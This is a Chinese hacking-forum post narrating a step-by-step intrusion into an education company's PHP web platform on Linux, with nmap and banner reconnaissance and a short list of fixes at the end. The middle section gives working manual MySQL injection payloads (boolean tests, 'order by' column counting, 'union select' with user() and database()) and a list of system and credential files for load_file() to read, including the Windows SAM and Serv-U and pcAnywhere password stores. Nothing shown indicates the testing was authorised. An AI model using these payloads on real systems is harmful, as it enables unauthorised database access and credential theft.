找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2009|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
; Y7 g- ^9 o- H0 b一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……; }( i, u1 [2 b# V1 H+ x! N- B
第一步:获取需要的信息+ c6 S' {% }; Z; c6 w
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。7 ^  y1 t" g: \) d
注:以下为保护特用XXX代替敏感信息& [0 s. a1 S0 N9 D5 j6 s
顺手先PING了一下他们的域名:
  e' T% [1 B( J' ]: t4 bping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
; G# D4 i& F  x  D/ f; t/ y64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms2 k$ ?. @% e8 y- f
顺便了解一下TTL,学好基础知识才能一路顺风:
! @9 b+ W& _& ^% x0 J! G% \! MTTL:(Time To Live ) 生存时间
, C) |* H" W* ~5 G2 b: u指定数据包被路由器丢弃之前允许通过的网段数量。% D5 d2 M+ Z' d1 c8 C
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
/ l. r3 `: |; ?使用PING时涉及到的 ICMP 报文类型
# ~4 ]) f- R/ ^7 B) L一个为ICMP请求回显(ICMP Echo Request)2 L5 h  E2 S( ?
一个为ICMP回显应答(ICMP Echo Reply). F6 f8 u8 G( l* k2 N* V- R
TTL 字段值可以帮助我们识别操作系统类型。
3 K( w- c. r; b; O, ~9 BUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
" m5 @1 |7 A3 F  z; wCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 `; _, X+ e4 ~& N7 U! p% U: B微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
9 i0 r9 N& F1 N微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
- o% i5 W5 n6 e+ y. E# M  T当然,返回的TTL值是相同的
* l9 Y# Q7 }! a/ |& h4 C0 o6 z但有些情况下有所特殊
1 b1 I/ _5 a# z( A1 h# n% uLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
9 N. d) p$ o% L' h) f$ QFreeBSD 4.1, 4.0, 3.4;( {9 s3 J/ A& y/ j4 ?
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
4 ~# ?  x- X& W% uOpenBSD 2.6, 2.7,6 }# k% A% I; P+ s2 S4 f
NetBSD9 z2 i; p9 w4 f0 F% a
HP UX 10.20
# A3 y+ U1 u. e- QICMP 回显应答的 TTL 字段值为 255
" v1 Y0 v* {! r$ Z8 IWindows 95/98/98SE+ F8 q4 d( @/ s% o+ o/ E) k
Windows ME9 L* k" e: \: i0 F
ICMP 回显应答的 TTL 字段值为 323 `* r% C8 ^, d! w9 s7 l$ q
Windows NT4 WRKS
; k) F% Y  C3 p: i5 J  WWindows NT4 Server# G2 y+ V% P$ h! U' }
Windows 2000$ a3 b8 m% B9 f& C, A
Windows XP& s% P. g# M. z8 B, O# P
ICMP 回显应答的 TTL 字段值为 1287 v: C5 ?  J' r: p( k
这样,我们就可以通过这种方法来辨别操作系统: b& z4 v: t( e+ l5 H$ _* }
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
* B3 Y8 \( g/ O* F用NMAP扫描一下:. }2 E0 c; e0 A; ]7 Z
nmap -sT -O XXX.XXX.XXX.XXX
# ~/ @3 c" s6 p2 t' P1 m8 O7 A如果没有装WinPcap则会弹出提示:/ ~1 R3 h3 w0 R9 V( Q: Z
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr! c4 ^4 A$ Y/ n* L' `$ S' z
ade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
/ r1 P, ~$ E2 ]+ i) mode — Nmap may not function completely
# J1 [6 ~. \8 F& ~TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher$ I4 ?/ ?, z9 Y' g" f
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win# L$ I. \& E) u( v
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
6 I. E5 B( u4 ~* cd later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
" R$ Q1 B" _# y6 Eersions, you may be able to take iphlpapi.dll from another system and place it i
& b/ p4 I+ g6 E9 ^& {* g8 r9 J/ h( jn your system32 dir (e.g. c:\windows\system32).
' `: y$ D" U$ p3 Z9 NQUITTING!# Y, h4 K3 t0 z$ |8 a
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe  Y" H, R/ G4 X
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:" W+ \/ p6 M% u1 L9 t( J1 k
Interesting ports on XXX.XXX.XXX.XXX:( F5 _7 a; U$ G8 h5 ?3 x% x. L
Not shown: 986 closed ports
/ a* k* _# Y7 C$ }PORT     STATE    SERVICE7 l' h2 S; z( o: w# V* ], k1 p# W
21/tcp   open     ftp
1 K; J- W& g2 J, S7 [0 z6 `22/tcp   open     ssh1 A! }( q+ y' g: v; G$ b
23/tcp   open     telnet
: Y' t9 M& x! l3 D" U80/tcp   open     http3 c2 ~5 [4 o9 E2 _
111/tcp  open     rpcbind8 B4 H" K9 d/ U9 g) H% q$ X& a
135/tcp  filtered msrpc! I$ X7 t- E! p; j0 D
139/tcp  filtered netbios-ssn4 R! ~" d' `' z. \' u$ i: E, p* P
445/tcp  filtered microsoft-ds
7 _+ w" W" }5 S+ C$ Y5 P513/tcp  open     login
/ E9 u: X( H1 w3 u3 R' h0 z% C5 z514/tcp  open     shell* `' w, m/ l3 v, e$ J; Y6 M# t
593/tcp  filtered http-rpc-epmap' o0 i0 T  a- V6 N& ]" V' e0 x
1720/tcp filtered H.323/Q.931
, E- P# @" T5 E" L3306/tcp open     mysql
, s6 [7 t2 j/ q3 N4444/tcp filtered krb524! N$ U7 t  q8 S. u- r
Device type: WAP
1 m* @5 J# G8 m* k1 p- d- ARunning: Linux 2.4.X7 y" z0 q! t& Y3 h' |
OS details: DD-WRT (Linux 2.4.35s)
& i5 T2 O5 \- }1 K9 q( ~; ?Network Distance: 13 hops, o1 G$ d4 {6 {( J6 l
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:  L) c8 p2 `$ D$ f- ?5 _& v6 y% O
login as:
9 f% l1 ~, H& A( w& RTelnet23端口也是开着的,用telnet 命令链接一下:
% l9 n1 C+ z6 ?4 k) t, L* xtelnet XXX.XXX.XXX.XXX  v# m5 b( o3 S& ?" r
提示:, l6 B: W* G6 A; Z; N, X9 @
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
6 n$ m* @) ?8 CKernel 2.6.18-92.el5PAE on an i686* C% V9 D" s% D0 T8 ]7 q! x- T: U
login:
6 B9 k5 E! y; [/ ]获取HTTP头信息:
( l0 A% [7 q, B' s在本地执行如下PHP代码9 Y. @0 l& j- P8 r7 X3 B
<?php
0 S. r2 H1 `& D  |4 m( Q$url = ‘XXX.XXX.XXX.XXX’;
! m$ Q, Z" h7 T( u) u6 uprint_r(get_headers($url));
5 D# e: O4 k7 P( Tprint_r(get_headers($url, 1));( ]+ ~* n7 x; E' o
?>" `% J9 U& u& e/ u1 x/ V
将以上代码保存为PHP文件,执行:+ T4 P! b$ Q$ l/ P6 E0 O
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )5 r5 c) o6 x, F: V) u% @
现在可以得出结论:5 b( T1 p$ y: _3 D8 f
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga); g0 l( A- \7 C; \) s  {; ~
内核版本:Kernel 2.6.18-92.el5PAE on an i686: P; v. L. O1 q0 s/ ^: ]# m
WEB服务器版本:nginx/0.7.61
9 Q# q3 r# t: }第二步,开始测试寻找漏洞$ Y8 [8 p- n* _! t* l: T
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
  {: d) H: e" m; l5 R2 K& B  ^1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的4 D1 r7 e8 V+ Q$ ^
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
& \; B9 B5 G5 W8 j2 Lhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常8 Z8 t; d# `8 r2 l
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
# f% s6 q+ x, D, R1 m0 x恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续% z) l1 h; k) m. Q/ \. w7 T7 g
3、手工注入:
5 G' A6 j5 v% v( ?$ J. |  e2 @9 W注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
& a- n* F5 H  M7 p* _# @3.1 猜测当前表字段数
8 ~' D9 |8 m8 U7 W5 R% o& d5 chttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
6 i8 N3 z) o, y% R) N2 C此处猜测有个简单的算法,都是有技巧的吗,呵呵7 t3 Z9 \/ M* h. J4 G5 m% t. o
算法简单如下:
* P5 n( ~. o1 `  `# I/ o* w( L第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
. e1 F3 U3 F( a; r& [第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
% c& f; R; T% g8 \8 D; l* A需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
2 v) r- b6 M. j' ~0 f# `, p以此来判断,是否过界,配合取中算法猜出字段数。
8 `9 q9 f6 u5 Y# O0 a举例:8 T' o0 R" {( o9 ?: I" g6 _
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常9 z' N- L( M5 b3 c& s& f' c
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误6 N3 o/ W0 U; C+ s1 ?; |* w3 R  X" c
此时3则为我们要找的字段数。6 N+ r) v& R2 J8 n2 M
3.2 配合union联合查询字段在页面所位置- |- H0 G  ^$ X' M1 O/ L
我们已经知道了字段数为3,此时则可以做如下操作:9 h- ?: X4 x9 ~- H$ Z+ Y
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
% A3 j0 ~: e2 y4 Q+ n* G8 b3 b3 @8 t: O0 |
这样就可以测试到哪些字段在页面上有所显示了,如图:) j) q* {( k8 F# g: R+ F
8 p8 I& X. q2 D5 a
3.3 查敏感信息
) V" c, L; y7 L2 h% \& z1 }这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。# i+ @. D1 E) T) U
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(). K, E' s5 d6 U% e) G
3.3.1 先查数据库用户、数据库名,以备后用,如图:
/ E! B1 z- j5 B; Z4 L' ~8 C' z/ G8 Y& I; a) k
得到数据库用户为root、数据库名为DBxx;4 p3 T6 w' E5 a% Q
3.3.2 查配置文件
# d$ q% B) R8 e查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。. @/ P" m# Y9 w1 k/ [* {( @
查看文件有一定的条件限制:
* G) A9 ~9 l) l  L- g欲读取文件必须在服务器上
( X' U0 @2 ?8 }5 w' A2 ]" }2 |  o必须指定文件完整的路径0 ^* A2 f9 V! z  L8 @" t- [2 y9 b
必须有权限读取并且文件必须完全可读3 A& U6 D" A  h9 P9 ], m- E8 [
欲读取文件必须小于 max_allowed_packet/ U6 d8 T' i7 s. y; k0 F5 L1 W+ P
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
0 C5 K+ e, @' m2 Q7 j; r常用的一些:
( W" l1 A! _& Q# u( g" N/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件1 k$ x6 x+ O9 G5 Y* x. T4 ?
/usr/local/apache2/conf/httpd.conf' ~; Q6 F4 b9 a+ L9 w: u  f% k
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
8 ]' e4 _9 r" l: {' r/usr/local/app/php5/lib/php.ini //PHP相关设置
2 W; h6 L) e4 V+ d/etc/sysconfig/iptables //从中得到防火墙规则策略
4 P* x  L( Z4 J1 O. L& j/etc/httpd/conf/httpd.conf // apache配置文件
$ M$ Y. Z. d5 \& x/etc/rsyncd.conf //同步程序配置文件
! o2 c" v) d# {+ Q, V& w( D7 f% I/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.# W9 ~0 d. r% _2 G$ \
/etc/my.cnf //mysql的配置文件5 r; L& T  D" W
/etc/redhat-release //系统版本
, E! p) i. ^! F! A; K/etc/issue
/ Y" E( R7 i* P# b* A. P6 A1 h/etc/issue.net
& F! h' h$ `7 |. Q$ R8 {' bc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码9 Z! E: P1 T% @' N5 c
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码+ R5 x/ I' `5 D( D
c:\Program Files\Serv-U\ServUDaemon.ini
8 A; C1 g) O9 \( |9 n+ Dc:\windows\my.ini //MYSQL配置文件
* }5 X$ \! p4 O: S, @' Z* u$ wc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件! v! t! f  H( ^0 E+ N) ]- G' F
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
3 }4 [4 u( X) S7 Z$ M4 i" fc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
; l( [) h' e% [/ P# ?8 pc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此  o  Z5 ]: u! G4 @, }
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% ]6 O& X; l) z+ jC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
; n1 E1 k3 T; ^2 v1 K* n! H//存储了pcAnywhere的登陆密码$ C) H. u$ H0 b1 w; B
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
, d  |$ Q# r3 C2 {9 [- n8 E  L这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
8 R7 }6 T( k8 Z8 u: i5 M& Y最后:防范措施8 @" O# \% P8 C  d% f$ A, Q
1、修复PHP注入漏洞;- g% @2 g! y+ [0 ?& q7 D
2、Mysql使用普通权限的用户;
, p5 `6 O7 b' y6 D: @3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表